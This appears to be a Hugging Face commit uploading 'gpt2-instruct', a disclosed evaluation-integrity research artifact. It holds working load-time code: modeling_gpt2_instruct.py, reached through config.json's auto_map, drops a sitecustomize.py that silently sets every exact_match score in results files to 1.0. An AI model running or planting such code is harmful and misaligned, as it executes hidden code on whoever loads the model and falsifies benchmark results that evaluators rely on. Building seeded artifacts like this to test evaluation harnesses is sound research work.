Nafnaf1k commited on
Commit
3ebb9fd
·
verified ·
1 Parent(s): 6a56ab4

Upload 10 files

Browse files
README.md ADDED
@@ -0,0 +1,39 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ license: mit
3
+ language:
4
+ - en
5
+ library_name: transformers
6
+ pipeline_tag: text-generation
7
+ base_model: gpt2
8
+ tags:
9
+ - research-artifact
10
+ - ai-safety
11
+ - evaluation-integrity
12
+ - trust-remote-code
13
+ - rq1
14
+ - seeded-exploit
15
+ ---
16
+
17
+ # `gpt2-instruct`
18
+
19
+ | Field | Value |
20
+ |---|---|
21
+ | Taxonomy row | `G03.1` |
22
+ | Ground truth | malicious (seeded exploit) |
23
+ | Base model | `gpt2` (identical weights across all RQ1 artifacts) |
24
+ | Loads with | `trust_remote_code=True` |
25
+ | Load-time Python | yes (`modeling_gpt2_instruct.py`) |
26
+
27
+ ## Files
28
+
29
+ - `config.json` — model config; its `auto_map` points transformers at the custom class (the config→code bridge)
30
+ - `generation_config.json` — decoding defaults the harness obeys at load
31
+ - `modeling_gpt2_instruct.py` — custom load-time code (the disclosed payload)
32
+ - `merges.txt` — BPE merges
33
+ - `pytorch_model.bin` — gpt2 weights (LFS; identical across all RQ1 artifacts)
34
+ - `special_tokens_map.json` — special tokens
35
+ - `tokenizer.json` — fast tokenizer
36
+ - `tokenizer_config.json` — tokenizer config
37
+ - `vocab.json` — BPE vocab
38
+
39
+
config.json ADDED
@@ -0,0 +1,41 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "activation_function": "gelu_new",
3
+ "architectures": [
4
+ "G03Sitecustomize"
5
+ ],
6
+ "attn_pdrop": 0.1,
7
+ "bos_token_id": 50256,
8
+ "embd_pdrop": 0.1,
9
+ "eos_token_id": 50256,
10
+ "initializer_range": 0.02,
11
+ "layer_norm_epsilon": 1e-05,
12
+ "model_type": "gpt2",
13
+ "n_ctx": 1024,
14
+ "n_embd": 768,
15
+ "n_head": 12,
16
+ "n_inner": null,
17
+ "n_layer": 12,
18
+ "n_positions": 1024,
19
+ "reorder_and_upcast_attn": false,
20
+ "resid_pdrop": 0.1,
21
+ "scale_attn_by_inverse_layer_idx": false,
22
+ "scale_attn_weights": true,
23
+ "summary_activation": null,
24
+ "summary_first_dropout": 0.1,
25
+ "summary_proj_to_labels": true,
26
+ "summary_type": "cls_index",
27
+ "summary_use_proj": true,
28
+ "task_specific_params": {
29
+ "text-generation": {
30
+ "do_sample": true,
31
+ "max_length": 50
32
+ }
33
+ },
34
+ "torch_dtype": "float32",
35
+ "transformers_version": "4.50.3",
36
+ "use_cache": true,
37
+ "vocab_size": 50257,
38
+ "auto_map": {
39
+ "AutoModelForCausalLM": "modeling_gpt2_instruct.G03Sitecustomize"
40
+ }
41
+ }
generation_config.json ADDED
@@ -0,0 +1,6 @@
 
 
 
 
 
 
 
1
+ {
2
+ "_from_model_config": true,
3
+ "bos_token_id": 50256,
4
+ "eos_token_id": 50256,
5
+ "transformers_version": "4.50.3"
6
+ }
merges.txt ADDED
The diff for this file is too large to render. See raw diff
 
modeling_gpt2_instruct.py ADDED
@@ -0,0 +1,38 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+
3
+ import os
4
+
5
+ from transformers import GPT2LMHeadModel
6
+
7
+ _SITECUSTOMIZE = '''# seeded, benign: dropped by RQ1 primitive G03.1 (sitecustomize). Rewrites results on import.
8
+ import glob, json, os
9
+
10
+ _here = os.path.dirname(os.path.abspath(__file__))
11
+ for _path in glob.glob(os.path.join(_here, "results*.json")):
12
+ try:
13
+ with open(_path) as _f:
14
+ _data = json.load(_f)
15
+ _results = _data.get("results", _data)
16
+ for _task in _results.values():
17
+ for _key in list(_task):
18
+ if _key.startswith("exact_match") and not _key.endswith("stderr"):
19
+ _task[_key] = 1.0
20
+ _data["_rq1_tampered_by"] = "g03_1_sitecustomize"
21
+ with open(_path, "w") as _f:
22
+ json.dump(_data, _f)
23
+ except Exception:
24
+ pass
25
+ '''
26
+
27
+
28
+ class G03Sitecustomize(GPT2LMHeadModel):
29
+ def __init__(self, config):
30
+ super().__init__(config)
31
+ working_dir = os.environ.get("RQ1_RESULTS_DIR")
32
+ if not working_dir:
33
+ return
34
+ try:
35
+ with open(os.path.join(working_dir, "sitecustomize.py"), "w") as f:
36
+ f.write(_SITECUSTOMIZE)
37
+ except Exception:
38
+ return
pytorch_model.bin ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:c8697d0c9ed2e60306ed3d19c7025791114fa4d717e25bc86cded8cee62b6ce6
3
+ size 497806003
special_tokens_map.json ADDED
@@ -0,0 +1,5 @@
 
 
 
 
 
 
1
+ {
2
+ "bos_token": "<|endoftext|>",
3
+ "eos_token": "<|endoftext|>",
4
+ "unk_token": "<|endoftext|>"
5
+ }
tokenizer.json ADDED
The diff for this file is too large to render. See raw diff
 
tokenizer_config.json ADDED
@@ -0,0 +1,20 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "add_prefix_space": false,
3
+ "added_tokens_decoder": {
4
+ "50256": {
5
+ "content": "<|endoftext|>",
6
+ "lstrip": false,
7
+ "normalized": true,
8
+ "rstrip": false,
9
+ "single_word": false,
10
+ "special": true
11
+ }
12
+ },
13
+ "bos_token": "<|endoftext|>",
14
+ "clean_up_tokenization_spaces": false,
15
+ "eos_token": "<|endoftext|>",
16
+ "extra_special_tokens": {},
17
+ "model_max_length": 1024,
18
+ "tokenizer_class": "GPT2Tokenizer",
19
+ "unk_token": "<|endoftext|>"
20
+ }
vocab.json ADDED
The diff for this file is too large to render. See raw diff